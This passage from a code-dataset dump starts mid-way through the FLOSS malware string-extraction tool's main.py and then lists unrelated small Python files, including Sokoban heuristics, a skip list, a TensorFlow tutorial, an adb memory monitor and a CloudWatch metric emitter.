get_file_as_mmap(path):\n \"\"\"\n Returns an mmap object of the file\n :param path: path of the file to map\n \"\"\"\n with open(path, 'rb') as f:\n return mmap.mmap(f.fileno(), 0, access=mmap.ACCESS_READ)\n\n\ndef print_static_strings(file_buf, min_length, quiet=False):\n \"\"\"\n Print static ASCII and UTF-16 strings from provided file.\n :param file_buf: the file buffer\n :param min_length: minimum string length\n :param quiet: print strings only, suppresses headers\n \"\"\"\n static_ascii_strings = strings.extract_ascii_strings(file_buf, min_length)\n static_unicode_strings = strings.extract_unicode_strings(file_buf, min_length)\n\n if not quiet:\n print(\"FLOSS static ASCII strings\")\n for s in static_ascii_strings:\n print(\"%s\" % s.s)\n if not quiet:\n print(\"\")\n\n if not quiet:\n print(\"FLOSS static Unicode strings\")\n for s in static_unicode_strings:\n print(\"%s\" % s.s)\n if not quiet:\n print(\"\")\n\n\ndef print_stack_strings(extracted_strings, quiet=False, expert=False):\n \"\"\"\n Print extracted stackstrings.\n :param extracted_strings: list of stack strings ([StackString])\n :param quiet: print strings only, suppresses headers\n :param expert: expert mode\n \"\"\"\n count = len(extracted_strings)\n\n if not quiet:\n print(\"\\nFLOSS extracted %d stackstrings\" % (count))\n\n if not expert:\n for ss in extracted_strings:\n print(\"%s\" % (ss.s))\n elif count > 0:\n print(tabulate.tabulate(\n [(hex(s.fva), hex(s.frame_offset), s.s) for s in extracted_strings],\n headers=[\"Function\", \"Frame Offset\", \"String\"]))\n\n\ndef print_file_meta_info(vw, selected_functions):\n print(\"\\nVivisect workspace analysis information\")\n try:\n for k, v in get_vivisect_meta_info(vw, selected_functions).iteritems():\n print(\"%s: %s\" % (k, v or \"N/A\")) # display N/A if value is None\n except Exception as e:\n floss_logger.error(\"Failed to print vivisect analysis information: {0}\".format(e.message))\n\n\ndef load_workspace(sample_file_path, save_workspace):\n # inform user that getWorkspace implicitly loads saved workspace if .viv file exists\n if is_workspace_file(sample_file_path) or os.path.exists(\"%s.viv\" % sample_file_path):\n floss_logger.info(\"Loading existing vivisect workspace...\")\n else:\n if not is_supported_file_type(sample_file_path):\n raise LoadNotSupportedError(\"FLOSS currently supports the following formats for string decoding and \"\n \"stackstrings: PE\\nYou can analyze shellcode using the -s switch. See the \"\n \"help (-h) for more information.\")\n floss_logger.info(\"Generating vivisect workspace...\")\n return viv_utils.getWorkspace(sample_file_path, should_save=save_workspace)\n\n\ndef load_shellcode_workspace(sample_file_path, save_workspace, shellcode_ep_in, shellcode_base_in):\n if is_supported_file_type(sample_file_path):\n floss_logger.warning(\"Analyzing supported file type as shellcode. This will likely yield weaker analysis.\")\n\n shellcode_entry_point = 0\n if shellcode_ep_in:\n shellcode_entry_point = int(shellcode_ep_in, 0x10)\n\n shellcode_base = 0\n if shellcode_base_in:\n shellcode_base = int(shellcode_base_in, 0x10)\n\n floss_logger.info(\"Generating vivisect workspace for shellcode, base: 0x%x, entry point: 0x%x...\",\n shellcode_base, shellcode_entry_point)\n with open(sample_file_path, \"rb\") as f:\n shellcode_data = f.read()\n return viv_utils.getShellcodeWorkspace(shellcode_data, \"i386\", shellcode_base, shellcode_entry_point,\n save_workspace, sample_file_path)\n\n\ndef load_vw(sample_file_path, save_workspace, verbose, is_shellcode, shellcode_entry_point, shellcode_base):\n try:\n if not is_shellcode:\n if shellcode_entry_point or shellcode_base:\n floss_logger.warning(\"Entry point and base offset only apply in conjunction with the -s switch when \"\n \"analyzing raw binary files.\")\n return load_workspace(sample_file_path, save_workspace)\n else:\n return load_shellcode_workspace(sample_file_path, save_workspace, shellcode_entry_point, shellcode_base)\n except LoadNotSupportedError as e:\n floss_logger.error(str(e))\n raise WorkspaceLoadError\n except Exception as e:\n floss_logger.error(\"Vivisect failed to load the input file: {0}\".format(e.message), exc_info=verbose)\n raise WorkspaceLoadError\n\n\ndef main(argv=None):\n \"\"\"\n :param argv: optional command line arguments, like sys.argv[1:]\n :return: 0 on success, non-zero on failure\n \"\"\"\n logging.basicConfig(level=logging.WARNING)\n\n parser = make_parser()\n if argv is not None:\n options, args = parser.parse_args(argv[1:])\n else:\n options, args = parser.parse_args()\n\n set_log_config(options.debug, options.verbose)\n\n if options.list_plugins:\n print_plugin_list()\n return 0\n\n sample_file_path = parse_sample_file_path(parser, args)\n min_length = parse_min_length_option(options.min_length)\n\n # expert profile settings\n if options.expert:\n options.save_workspace = True\n options.group_functions = True\n options.quiet = False\n\n if not is_workspace_file(sample_file_path):\n if not options.no_static_strings and not options.functions:\n floss_logger.info(\"Extracting static strings...\")\n if os.path.getsize(sample_file_path) > sys.maxsize:\n floss_logger.warning(\"File too large, strings listings may be truncated.\")\n floss_logger.warning(\"FLOSS cannot handle files larger than 4GB on 32bit systems.\")\n\n file_buf = get_file_as_mmap(sample_file_path)\n print_static_strings(file_buf, min_length=min_length, quiet=options.quiet)\n static_ascii_strings = strings.extract_ascii_strings(file_buf, min_length)\n static_unicode_strings = strings.extract_unicode_strings(file_buf, min_length)\n static_strings = chain(static_ascii_strings, static_unicode_strings)\n del file_buf\n else:\n static_strings = []\n\n if options.no_decoded_strings and options.no_stack_strings and not options.should_show_metainfo:\n if options.json_output_file:\n create_json_output_static_only(options, sample_file_path, static_strings)\n # we are done\n return 0\n\n if os.path.getsize(sample_file_path) > MAX_FILE_SIZE:\n floss_logger.error(\"FLOSS cannot extract obfuscated strings or stackstrings from files larger than\"\n \" %d bytes\" % MAX_FILE_SIZE)\n if options.json_output_file:\n create_json_output_static_only(options, sample_file_path, static_strings)\n return 1\n\n try:\n vw = load_vw(sample_file_path, options.save_workspace, options.verbose, options.is_shellcode,\n options.shellcode_entry_point, options.shellcode_base)\n except WorkspaceLoadError:\n if options.json_output_file:\n create_json_output_static_only(options, sample_file_path, static_strings)\n return 1\n\n try:\n selected_functions = select_functions(vw, options.functions)\n except Exception as e:\n floss_logger.error(str(e))\n return 1\n\n floss_logger.debug(\"Selected the following functions: %s\", get_str_from_func_list(selected_functions))\n\n selected_plugin_names = select_plugins(options.plugins)\n floss_logger.debug(\"Selected the following plugins: %s\", \", \".join(map(str, selected_plugin_names)))\n selected_plugins = filter(lambda p: str(p) in selected_plugin_names, get_all_plugins())\n\n if options.should_show_metainfo:\n meta_functions = None\n if options.functions:\n meta_functions = selected_functions\n print_file_meta_info(vw, meta_functions)\n\n time0 = time()\n\n if not options.no_decoded_strings:\n floss_logger.info(\"Identifying decoding functions...\")\n decoding_functions_candidates = im.identify_decoding_functions(vw, selected_plugins, selected_functions)\n if options.expert:\n print_identification_results(sample_file_path, decoding_functions_candidates)\n\n floss_logger.info(\"Decoding strings...\")\n decoded_strings = decode_strings(vw, decoding_functions_candidates, min_length, options.no_filter,\n options.max_instruction_count, options.max_address_revisits + 1)\n # TODO: The de-duplication process isn't perfect as it is done here and in print_decoding_results and\n # TODO: all of them on non-sanitized strings.\n if not options.expert:\n decoded_strings = filter_unique_decoded(decoded_strings)\n print_decoding_results(decoded_strings, options.group_functions, quiet=options.quiet, expert=options.expert)\n else:\n decoded_strings = []\n\n if not options.no_stack_strings:\n floss_logger.info(\"Extracting stackstrings...\")\n stack_strings = stackstrings.extract_stackstrings(vw, selected_functions, min_length, options.no_filter)\n stack_strings = list(stack_strings)\n if not options.expert:\n # remove duplicate entries\n stack_strings = set(stack_strings)\n print_stack_strings(stack_strings, quiet=options.quiet, expert=options.expert)\n else:\n stack_strings = []\n\n if options.x64dbg_database_file:\n imagebase = vw.filemeta.values()[0]['imagebase']\n floss_logger.info(\"Creating x64dbg database...\")\n create_x64dbg_database(sample_file_path, options.x64dbg_database_file, imagebase, decoded_strings)\n\n if options.ida_python_file:\n floss_logger.info(\"Creating IDA script...\")\n create_ida_script(sample_file_path, options.ida_python_file, decoded_strings, stack_strings)\n\n if options.radare2_script_file:\n floss_logger.info(\"Creating r2script...\")\n create_r2_script(sample_file_path, options.radare2_script_file, decoded_strings, stack_strings)\n\n if options.binja_script_file:\n floss_logger.info(\"Creating Binary Ninja script...\")\n create_binja_script(sample_file_path, options.binja_script_file, decoded_strings, stack_strings)\n\n time1 = time()\n if not options.quiet:\n print(\"\\nFinished execution after %f seconds\" % (time1 - time0))\n\n if options.json_output_file:\n create_json_output(options, sample_file_path,\n decoded_strings=decoded_strings,\n stack_strings=stack_strings,\n static_strings=static_strings)\n floss_logger.info(\"Wrote JSON file to %s\\n\" % options.json_output_file)\n\n return 0\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","repo_name":"ru-faraon/flare-floss","sub_path":"floss/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":47596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29106037540","text":"def main():\n t = int(input())\n while t > 0:\n n = int(input())\n a = list(map(int,(input().split())))\n list_odd = []\n list_even = []\n for i in a:\n if i % 2 == 0:\n list_even.append(i)\n else:\n list_odd.append(i)\n for i in list_odd:\n print(i,end=\" \")\n print()\n for i in list_even:\n print(i,end=\" \")\n print()\n\n t -=1\n \n return 0\n\nif __name__ == '__main__':\n main()","repo_name":"chithra-m/ds_code_snippets","sub_path":"course/week3/intro_to_arrays/Separate Odd Even/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21926613305","text":"# Load the search_astar_algorithm.py\nimport search_astar_algorithm as astar\n\n# Load the board_game_setup.py\nfrom board_game_setup import *\n\n# Load the numpy package and the state is represented as a numpy array during this homework.\nimport numpy as np\n\n\n# a_star perform the A* algorithm with the start_state (numpy array), goal_test (function), successors (function) and\n# heuristic (function). a_star prints the solution from start_state to goal_state (path), calculates the number of\n# generated nodes (node_generated) and expanded nodes (node_expanded), and the solution depth (len(path)-1). a_star\n# also provides the following functions for printing states and moves: prettyMoves(path): Translate the solution to a\n# list of moves printlists(path): Visualize the solution and Print a list of states\ndef a_star(start_state, goal_test, successors, heuristic):\n goal_node, node_generated, node_expanded = astar.a_star_search(\n start_state, goal_test, successors, heuristic)\n if goal_node:\n node = goal_node\n path = [node.state1]\n while node.parent:\n node = node.parent\n path.append(node.state1)\n path.reverse()\n\n # print('My path:{}'.format(path))\n # print(prettyMoves(path))\n # printlists(path)\n print('Nodes Generated by A*: {}'.format(node_generated))\n print('Nodes Expanded by A*: {}'.format(node_expanded))\n print('Solution Depth: {}'.format(len(path) - 1))\n else:\n print('no solution found')\n\n\n# A shortcut function\n# Transform the input state to numpy array. For other functions, the state s is presented as a numpy array.\n# Goal-test and next-states stay the same throughout the assignment\n# You can just call sokoban(init-state, heuristic function) to test the result\ndef sokoban(s, h):\n return a_star(np.array(s), goal_test, next_states, h)\n\n# h0 computes the trivial admissible heuristic\n\n\ndef h0(s):\n return 0\n\n# count_num_boxes is a helper function of h1 function\n# it takes in 3 args, state, row, and col\n# count_num_boxes returns the number of boxes are misplaced by checking the box at each (r, c)\n\n\ndef count_num_boxes(state, row, col):\n\n num_boxes = 0\n\n for r in range(row):\n for c in range(col):\n if isBox(state[r, c]):\n num_boxes += 1\n\n return num_boxes\n\n# h1 takes in a state and return the number of boxes that are not on the goal position\n# h1 is heuristic admissible because it considered all the misplaced boxes.\n# h1 can only count how many boxes on the board and cannt get over the number of misplaced boxes.\n\n\ndef h1(s):\n # get row and col of the board\n row, col = s.shape[0], s.shape[1]\n\n # return number of misplaced boxes\n return count_num_boxes(s, row, col)\n\n# get_list_boxes_position takes in 3 args, state, row, and col\n# it returns the list of boxes after traversing through the number of row and col\n\n\ndef get_list_boxes_position(state, row, col):\n list_boxes = list()\n\n for r in range(row):\n for c in range(col):\n if isBox(state[r, c]):\n list_boxes.append((r, c))\n\n return list_boxes\n\n# get_list_stars_position takes in 3 args, state, row, and col\n# it returns the list of stars after traversing through the number of row and col\n\n\ndef get_list_stars_position(state, row, col):\n list_stars = list()\n\n for r in range(row):\n for c in range(col):\n if isStar(state[r, c]):\n list_stars.append((r, c))\n\n return list_stars\n\n# distance takes in 2 args, num1 and num2\n# distance returns the absolute values of the distance between num1 and num2\n\n\ndef distance(num1, num2):\n return np.absolute(num1 - num2)\n\n# calculate_distance_keeper_to_box is a helper function for h405784956\n# calculate_distance_keeper_to_box takes in state as an argument\n# it returns the distance of the keeper to the box\n\n\ndef calculate_distance_keeper_to_boxgoal(state):\n\n row, col = state.shape[0], state.shape[1]\n\n count_distance = 0\n\n list_boxes = get_list_boxes_position(state, row, col)\n\n list_star = get_list_stars_position(state, row, col)\n\n keeper_row, keeper_col = tuple(getKeeperPosition(state))\n\n box_to_star = 1\n\n for box in list_boxes:\n\n count_distance += distance(keeper_row,\n box[0]) + distance(keeper_col, box[1])\n\n for star in list_star:\n distance_box_to_star = distance(\n box[0], star[0]) + distance(box[1], star[1])\n\n if distance_box_to_star < box_to_star:\n box_to_star = distance_box_to_star\n\n count_distance += box_to_star\n\n return count_distance\n\n# heuristic_optimal_func return the distance from the keeper to the boxgoal that calculates from the distance between the keeper to the box\n\n\ndef heuristic_optimal_func(s):\n return calculate_distance_keeper_to_boxgoal(s)","repo_name":"TrungVN9/sokoban_game","sub_path":"sokoban_heuristic_algorithm.py","file_name":"sokoban_heuristic_algorithm.py","file_ext":"py","file_size_in_byte":4890,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"14389249355","text":"from tenant_schemas_celery.app import CeleryApp\nfrom tenant_schemas_celery.task import TenantTask\n\n\nclass DummyTask(TenantTask):\n ...\n\n\ndef test_celery_app_should_allow_overriding_task_cls_as_object() -> None:\n class App(CeleryApp):\n task_cls = DummyTask\n\n app = App(set_as_current=False)\n\n @app.task()\n def some_task() -> None:\n ...\n\n assert isinstance(some_task, DummyTask)\n\n\ndef test_celery_app_should_allow_overriding_task_cls_as_string() -> None:\n class App(CeleryApp):\n task_cls = f\"{DummyTask.__module__}:{DummyTask.__name__}\"\n\n app = App(set_as_current=False)\n\n @app.task()\n def some_task() -> None:\n ...\n\n assert isinstance(some_task, DummyTask)\n","repo_name":"maciej-gol/tenant-schemas-celery","sub_path":"tenant_schemas_celery/app_test.py","file_name":"app_test.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":151,"dataset":"github-code","pt":"37"} +{"seq_id":"8428677511","text":"\"\"\"\nEmblem\n簡単\n0 2\n6 3\n2 4\n\"\"\"\nimport math\ndef main():\n N,M = map(int,input().split())\n \n rr = []\n for _ in range(N): # radius\n x,y,r = map(int,input().split())\n rr.append((x,y,r))\n \n ll = []\n for _ in range(M): # without/radius\n x,y = map(int,input().split())\n ll.append((x,y))\n \n rad = float(1e6)\n # Case1\n for i in range(len(rr)):\n for j in range(len(ll)):\n d = math.sqrt((rr[i][0]-ll[j][0])**2 + (rr[i][1]-ll[j][1])**2)\n tmp = d-rr[i][2]\n if tmp >0:\n rad = min(rad,tmp)\n \n # Case2\n for i in range(len(ll)-1):\n for j in range(i+1,len(ll)):\n d = math.sqrt((ll[i][0]-ll[j][0])**2 + (ll[i][1]-ll[j][1])**2)\n tmp = d/2\n if tmp >0:\n rad = min(rad,d/2)\n \n # Case3\n for i in range(len(rr)-1):\n for j in range(i+1,len(rr)):\n d = math.sqrt((rr[i][0]-rr[j][0])**2 + (rr[i][1]-rr[j][1])**2)\n if d > rr[i][2]+rr[j][2]:\n rad = min(rad,min(rr[i][2],rr[j][2]))\n\n print(rad)\n\nif __name__==\"__main__\":\n main()\n","repo_name":"tharashi10/algorithm","sub_path":"atcoder/Bootcamp/90_Emblem.py","file_name":"90_Emblem.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"37675094479","text":"from typing import *\nfrom math import *\n\n\nimport random\n\nclass Node(object):\n def __init__(self, val = None):\n self.val = val\n self.rights = []\n\n def __repr__(self):\n return repr(self.val) + ' ' + repr([right.val if right else None for right in self.rights])\n\n\nclass Skiplist(object):\n\n def __init__(self):\n self.head = Node()\n self.head.rights.append(None)\n\n def search(self, target):\n \"\"\"\n :type target: int\n :rtype: bool\n \"\"\"\n node = self.head\n while node:\n for right in reversed(node.rights):\n if right:\n if right.val == target:\n return True\n elif right.val < target:\n node = right\n break\n else:\n return False\n\n def add(self, num):\n \"\"\"\n :type num: int\n :rtype: None\n \"\"\"\n node = self.head\n parents = []\n while node:\n for right in reversed(node.rights):\n # 若已经有相同数字,加到最后(稳定排序)\n if right and right.val <= num:\n node = right\n break\n else:\n parents.append(node)\n else:\n break\n\n new_node = Node(num)\n need_ins = 1\n level = 0\n while need_ins > 0:\n if level < len(parents):\n parent = parents[-level - 1]\n else:\n parent = self.head\n parent.rights.append(None)\n new_node.rights.append(parent.rights[level])\n parent.rights[level] = new_node\n level += 1\n need_ins = random.randrange(2) # 平均每往上一层,节点数少一半\n\n # print(self)\n\n def erase(self, num):\n \"\"\"\n :type num: int\n :rtype: bool\n \"\"\"\n node = self.head\n parents = []\n while node:\n for right in reversed(node.rights):\n # 若有相同数字,删除最前面的\n if right and right.val < num:\n node = right\n break\n else:\n parents.append(node)\n else:\n break\n\n node = parents[-1].rights[0]\n if not node or node.val != num:\n return False\n\n for level in range(len(node.rights)):\n parents[-level - 1].rights[level] = node.rights[level]\n\n # print(self)\n return True\n\n def __repr__(self):\n node = self.head\n parts = []\n while node:\n parts.append(repr(node))\n node = node.rights[0]\n parts.append('----------------------------------------------------------------')\n return '\\n'.join(parts)\n\n\n# Your Skiplist object will be instantiated and called as such:\n# obj = Skiplist()\n# param_1 = obj.search(target)\n# obj.add(num)\n# param_3 = obj.erase(num)\n\n\ndef test1():\n skiplist = Skiplist()\n # print(skiplist.erase(0)) # false\n skiplist.add(1)\n skiplist.add(2)\n skiplist.add(3)\n print(skiplist.search(0)) # false\n skiplist.add(4)\n print(skiplist.search(1)) # true\n print(skiplist.erase(0)) # false,0 不在跳表中\n print(skiplist.erase(1)) # true\n print(skiplist.search(1)) # 返回 false,1 已被擦除\n # print(skiplist.erase(1)) # true\n # print(skiplist.erase(10)) # false\n\ndef test2():\n skiplist = Skiplist()\n for i in range(32):\n skiplist.add(random.randrange(100))\n print(skiplist)\n\n# test1()\ntest2()\n","repo_name":"calfzhou/just-coding","sub_path":"1206-Skiplist/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22525471707","text":"'''\nhttps://leetcode.com/problems/check-if-a-word-occurs-as-a-prefix-of-any-word-in-a-sentence/\n'''\nclass Solution:\n def isPrefixOfWord(self, sentence: str, searchWord: str) -> int:\n sentSplit = sentence.split(\" \")\n for i,word in enumerate(sentSplit):\n if self.isPrefix(searchWord, word):\n return i+1\n return -1\n \n def isPrefix(self, searchWord, word):\n if len(searchWord) > len(word):\n return False\n for i,ch in enumerate(searchWord):\n chInWord = word[i]\n if ch != chInWord:\n return False\n return True","repo_name":"mcxu/code-sandbox","sub_path":"PythonSandbox/src/leetcode/lc1455_if_word_is_prefix_in_sentence.py","file_name":"lc1455_if_word_is_prefix_in_sentence.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"16862906039","text":"'''\nPurpose: create a model that can give the temperature in Fahrenheit when given the degrees in Celsius\n\n'''\n# Import Packages\nfrom __future__ import absolute_import, division, print_function\nimport tensorflow as tf\ntf.logging.set_verbosity(tf.logging.ERROR)\nimport numpy as np\n\n# Dataset\ncelsius_q = np.array([-40, -10, 0, 8, 15, 22, 38], dtype=float)\nfahrenheit_a = np.array([-40, 14, 32, 46, 59, 72, 100], dtype=float)\n\n\ndef ex_conversion(celsius_q, fahrenheit_a):\n for i, c in enumerate(celsius_q):\n print('{} degrees Celsius = {} degrees Fahrenheit'\\\n .format(c, fahrenheit_a[i]))\n\n\n\n### Create Model - Simplest is \"Dense Network\"------------------------------------------------\n\n# Step1: Create Layer(s)\n'''\nl0 layer 1\ninput_shape [1] specifies that the input to this layer is a single value, that is, the shape \n is a one dimensional array. \nunits specifies the number of neurons in the layer. \n'''\nl0 = tf.keras.layers.Dense(units = 1, input_shape = [1])\n\n\n# Step2: Assemble Layer(s) Into a Model\n'''Once layers are defined, you need to assemble them into a model'''\nmodel = tf.keras.Sequential([l0])\n\n\n# Step3: Compile Model (Add Loss & Optomization Functions)\n'''Optimizer Here we use Adam. The value in the parenthesis is the learning rate. \n This is the step sie taken when adjusting values in the model. \n The optimizer function here is Stochastic Gradient decent and steps \n are toward the local or global minimum'''\nmodel.compile(loss='mean_squared_error', optimizer = tf.keras.optimizers.Adam(0.1))\n\n\n#Step4: Training the Model\n'''\nWeights Initially set randomly, so the modell will need to iteratively adjust\n to decrease the loss function. \nfit controls the fitting proess. \narg1 inputs\narg2 desired output\narg3 epochs = number of times process should be conducted. \narg4 verbose = controls how much output the model produces\n\n'''\nm_train = model.fit(celsius_q, fahrenheit_a, epochs = 500, verbose = False)\nprint('Finished training the model')\n\n\n\n\n### Display Training Statistics---------------------------------------------------\n\n# Import Packages\nimport matplotlib.pyplot as plt\nplt.xlabel('Epoch Number')\nplt.ylabel('Loss Magnitude')\nplt.plot(m_train.history['loss'])\n#plt.show()\n\n\n\n### Predict Values---------------------------------------------------------------\n\nprint('Prediction: ', model.predict([100.00]))\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"ccirelli2/Deep_Learning_Spring_2019","sub_path":"Code/tutorial_1_celsius2Fahrenheit.py","file_name":"tutorial_1_celsius2Fahrenheit.py","file_ext":"py","file_size_in_byte":2600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"5359449216","text":"# Search Program\n#\n# By Anastasia Hutnick\n#\n# Goal: To search through a folder and pull the resulting files into\n# a new folder with the name of the search criteria. Currently can search for\n# every instance of every search term (i.e. Drury Lane) or every instance\n# of the search terms together (i.e. Drury && Lane). Works with .json and\n# .txt files.\n\n# Import os, copy, and mkpath for folder / file reading and writing magic.\nimport os\nfrom shutil import copy\nimport re\nfrom datetime import datetime\n\n\n# key_check - takes in a list key and str text. Checks to see if any of the\n# word(s) in the list is/are in the text and returns True/False accordingly.\ndef key_check(key, text):\n if len(key) > 1:\n for item in key:\n if re.search(item, text):\n return True\n return False\n else:\n if re.search(key[0], text):\n return True\n return False\n\n\n# split - takes in the raw text of the search criteria and parses it into a\n# list of word or words. If searching for two+ terms exclusively together, will\n# put all terms in as one string in the list. Returns the list for later use.\ndef split(query):\n # If only one word, just put that word into an array\n query = query.lower()\n if query.isalpha():\n query = re.compile(query)\n return [query]\n elif \"&&\" in query:\n literal = query.split()\n literal.remove(\"&&\")\n query = re.compile(\" \".join(literal))\n return [query]\n # If multiple words, split each word up in an array\n else:\n query = query.split()\n for item in query:\n item = re.compile(item)\n return query\n\n\ndef file_reader(path, files):\n for i in os.listdir(path):\n test = \"{}/{}\".format(path, i)\n if i.endswith('.txt'):\n files.append(os.path.join(path, i))\n elif os.path.isdir(test):\n files = file_reader(test, files)\n return files\n\n\ndef get_date():\n now = datetime.now()\n return '%002d-%002d-%004d_%02d-%02d-%02d' % (\n now.month, now.day, now.year, now.hour, now.minute, now.second)\n\n\ndef make_folder(matches, path, query):\n if \" \" in query:\n query = query.split()\n query = query.join(\"_\")\n folder = path + \"/\" + query\n # Does this folder already exist? If so, add the current date/time\n # to provide a unique / helpful new name\n if os.path.isdir(folder):\n folder = folder + get_date()\n if not os.path.isdir(folder):\n os.mkdir(folder)\n for file in matches:\n copy(file, folder)\n return folder\n\n\ndef sort_folder(matches, path, query):\n if \" \" in query:\n query = query.split()\n query = query.join(\"_\")\n folder = path + \"/\" + query\n # Does this folder already exist? If so, add the current date/time\n # to provide a unique / helpful new name\n if os.path.isdir(folder):\n folder = folder + get_date()\n if not os.path.isdir(folder):\n os.mkdir(folder)\n for file in matches:\n f = os.path.basename(file)\n p = \"{}/{}\".format(folder, f)\n os.rename(file, p)\n return folder\n\n\n# Creating the main function - takes in the word(s) to be found and the folder\n# path\ndef search(query, directory):\n # Change directory into something we can use.\n path = os.path.expanduser(directory)\n # Parsing the query into a key\n key = split(query)\n # Create an array to store files\n files = []\n # Create an array to store successful files\n matches = []\n # Get the files\n files = file_reader(path, files)\n\n # Cracking open the folder\n for filename in files:\n # Did we find the word / words? - Set variable that checks.\n # Opening the file\n with open(filename, \"r\", encoding=\"utf-8\") as my_file:\n # Loop through each line\n for i, line in enumerate(my_file):\n # Splitting up the line into words, saving to a list\n line_text = line.lower()\n if key_check(key, line_text):\n matches.append(filename)\n\n # Did we get any files? Let's check before we make a folder!\n # Yes?\n if len(matches) > 0:\n folder = make_folder(matches, path, query)\n print (\"\\nSearch item found! Folder created!\")\n return folder\n # No?\n else:\n print (\"Sorry, we couldn't find it!\")\n return None\n\n\ndef main():\n # Welcome message\n print (\"\"\"Please enter your search criteria after the prompt! You will\nreceive a new folder with every file containing your search item(s) in a\ngiven folder! This new folder will be named after your search criteria.\n\n(Note: If you want to search \"Drury Lane\" and ONLY get instances of the two\ntogether, please format your search \"Drury && Lane\". Failure to do so will earn\nyou a folder containing every instance of Drury and every instance of Lane!)\n\n- AH\n \"\"\")\n\n # Getting the Key\n query = input(\"What do you want to search for?: \")\n # Getting the directory\n directory = input(\"\"\"Please provide the absolute path for the folder you\n wish to access (i.e. ~/Downloads/Test): \"\"\")\n # Actually running the function\n return search(query, directory)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Penn-Playbill-Data/playbill_search","sub_path":"playbill_search.py","file_name":"playbill_search.py","file_ext":"py","file_size_in_byte":5216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30911931448","text":"# /usr/bin/python\n# encoding:utf-8\nimport csv\nimport os\nimport time\n\n\n# 控制类\nclass MonitoringMemResources(object):\n def __init__(self, count):\n # 定义测试的次数\n self.counter = count\n # 定义收集数据的数组\n self.alldata = [(\"timestamp\", \"rss\")]\n\n # # 单次测试过程\n # def testprocess(self):\n # # 执行获取进程的命令\n # result = os.popen(\"adb shell ps | findstr com.tencent.mm\")\n # # 获取进程ID\n # # pid = result.readlines()[0].split(\" \")[5]\n # pidLine = result.readlines()[0]\n # pidStr = \"#\".join(pidLine.split())\n # print(\"pidStr is:\" + pidStr)\n # pid = pidStr.split(\"#\")[2]\n # print(\"pid is:\" + pid)\n # # 获取进程ID使用的流量\n # traffic = os.popen(\"adb shell top -n 1 -d 0.5 | findstr \" + pid)\n #\n # for line in traffic:\n # if \"root\" in line:\n # line = \"#\".join(line.split())\n # print(line)\n # vss = line.split(\"#\")[7].strip(\"K\")\n # rss = line.split(\"#\")[8].strip(\"K\")\n # currenttime = self.getCurrentTime()\n # print(\"current time is:\"+currenttime)\n # print(\"vss used is:\"+vss+' K')\n # print(\"rss used is:\"+rss+' K')\n # # 将获取到的数据存到数组中\n # self.alldata.append((currenttime, int(rss) / 1024))\n\n\n # 累加内存\n def testprocess(self):\n # 执行获取进程的命令\n result = os.popen(\"adb shell ps | findstr com.tencent.mm\")\n # 获取进程ID\n # pid = result.readlines()[0].split(\" \")[5]\n pidLine = result.readlines()[0]\n pidStr = \"#\".join(pidLine.split())\n print(\"pidStr is:\" + pidStr)\n pid = pidStr.split(\"#\")[2]\n print(\"pid is:\" + pid)\n # 获取进程ID使用的内存\n traffic = os.popen(\"adb shell top -n 1 -d 0.5 | findstr \" + pid)\n\n vss=0.0\n rss=0.0\n for line in traffic:\n if \"root\" in line:\n line = \"#\".join(line.split())\n print(line)\n vss1 = line.split(\"#\")[7].strip(\"K\")\n rss1 = line.split(\"#\")[8].strip(\"K\")\n vss+=float(vss1)\n rss+=float(rss1)\n\n currenttime = self.getCurrentTime()\n print(\"current time is:\"+currenttime)\n print(\"vss used is:\"+str(vss/1024)+' M')\n print(\"rss used is:\"+str(rss/1024)+' M')\n # 将获取到的数据存到数组中\n self.alldata.append((currenttime, int(rss) / 1024))\n\n\n # 多次测试过程控制\n def run(self):\n while self.counter > 0:\n self.testprocess()\n self.counter = self.counter - 1\n # 每5秒钟采集一次数据\n time.sleep(5)\n\n # 获取当前的时间戳\n def getCurrentTime(self):\n # currentTime = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())\n currentTime = time.strftime(\"%H:%M:%S\", time.localtime())\n return currentTime\n\n # 数据的存储\n def SaveDataToCSV(self):\n csvfile = open('./result/meminfo.csv', 'w', encoding='utf8', newline='')\n writer = csv.writer(csvfile)\n writer.writerows(self.alldata)\n csvfile.close()\n\n\nif __name__ == \"__main__\":\n monitoringMemResources = MonitoringMemResources(50)\n monitoringMemResources.run()\n monitoringMemResources.SaveDataToCSV()\n","repo_name":"yuxichen2019/AotuTestStudy","sub_path":"python_workspace/appiumTraining/monitor/mem.py","file_name":"mem.py","file_ext":"py","file_size_in_byte":3417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27071754628","text":"import boto3\nfrom botocore.config import Config\n\nfrom sanmo.model import Metric\n\nconfig = Config(region_name=\"us-east-1\")\ncw = boto3.client(\"cloudwatch\", config=config)\n\n\ndef emit_metric(metric: Metric) -> None:\n print(\"[CW PutMetricData] Sending metric: \" + str(metric))\n response = cw.put_metric_data(\n Namespace=metric.namespace,\n MetricData=[\n {\n \"MetricName\": metric.name,\n \"Dimensions\": [{\"Name\": d.name, \"Value\": d.value} for d in metric.dimensions],\n \"Timestamp\": metric.timestamp,\n \"Value\": metric.value,\n \"Unit\": metric.unit,\n },\n ],\n )\n print(\"[CW PutMetricData] Response: \" + 